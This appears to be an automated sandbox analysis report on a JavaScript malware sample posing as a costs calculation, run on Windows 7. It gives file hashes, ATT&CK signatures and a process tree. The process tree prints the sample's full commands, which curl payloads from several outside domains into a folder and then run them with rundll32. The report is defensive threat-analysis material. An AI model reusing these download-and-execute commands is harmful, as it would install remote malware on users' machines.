ca9a409f690d3c5c22bfe0732f7113c6beb234d455afa8cb89c5e909c342d05a

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-de
resource tags

arch:x64arch:x86image:win7-20230220-delocale:de-deos:windows7-x64systemwindows
submitted
07/06/2023, 18:07

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General

Target

Calculation-of-costs-874028386.js
Size

149KB
MD5

fb5b4219a7a47effe058b4a5e7e48a6c
SHA1

421dd44ba85cb8278b7326b2c35d1078a375f79b
SHA256

5b2290e985718dcb2b9ed3a4ea6f4982c9db96a9ac7d20e7ee8d11f4d1e0a94a
SHA512

890e04f3efab155556b1dbe996d79687e64904881741e52707188c5bf513997fae904765b047c0e54e5c7774d12fab8cf9a0e73434f928ac9333ae585483974d
SSDEEP

3072:gRzeIwVOOpMRgFAzMeTluFzdYfoJ+v9oh:B6Op/FanTluFzdYf7Sh

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1180	timeout.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 296 wrote to memory of 1816	296	wscript.exe	28
PID 296 wrote to memory of 1816	296	wscript.exe	28
PID 296 wrote to memory of 1816	296	wscript.exe	28
PID 296 wrote to memory of 500	296	wscript.exe	30
PID 296 wrote to memory of 500	296	wscript.exe	30
PID 296 wrote to memory of 500	296	wscript.exe	30
PID 296 wrote to memory of 828	296	wscript.exe	32
PID 296 wrote to memory of 828	296	wscript.exe	32
PID 296 wrote to memory of 828	296	wscript.exe	32
PID 296 wrote to memory of 1616	296	wscript.exe	34
PID 296 wrote to memory of 1616	296	wscript.exe	34
PID 296 wrote to memory of 1616	296	wscript.exe	34
PID 296 wrote to memory of 1724	296	wscript.exe	36
PID 296 wrote to memory of 1724	296	wscript.exe	36
PID 296 wrote to memory of 1724	296	wscript.exe	36
PID 296 wrote to memory of 1872	296	wscript.exe	38
PID 296 wrote to memory of 1872	296	wscript.exe	38
PID 296 wrote to memory of 1872	296	wscript.exe	38
PID 296 wrote to memory of 592	296	wscript.exe	40
PID 296 wrote to memory of 592	296	wscript.exe	40
PID 296 wrote to memory of 592	296	wscript.exe	40
PID 592 wrote to memory of 1180	592	cmd.exe	42
PID 592 wrote to memory of 1180	592	cmd.exe	42
PID 592 wrote to memory of 1180	592	cmd.exe	42
PID 592 wrote to memory of 2004	592	cmd.exe	43
PID 592 wrote to memory of 2004	592	cmd.exe	43
PID 592 wrote to memory of 2004	592	cmd.exe	43

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Calculation-of-costs-874028386.js
1⤵
- Suspicious use of WriteProcessMemory
PID:296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://skagnechri.com/0.34899733014845713.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://maicobbbi.com/0.6013654457759208.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://yerkaija.com/0.03298715274427777.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://glovitol.com/0.9651502297082507.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://vitcaka.com/0.7000805230969773.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://lauconisc.com/0.9380485461932972.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX
  2⤵
  PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX,menu
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:1180
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX,menu
    3⤵
    PID:2004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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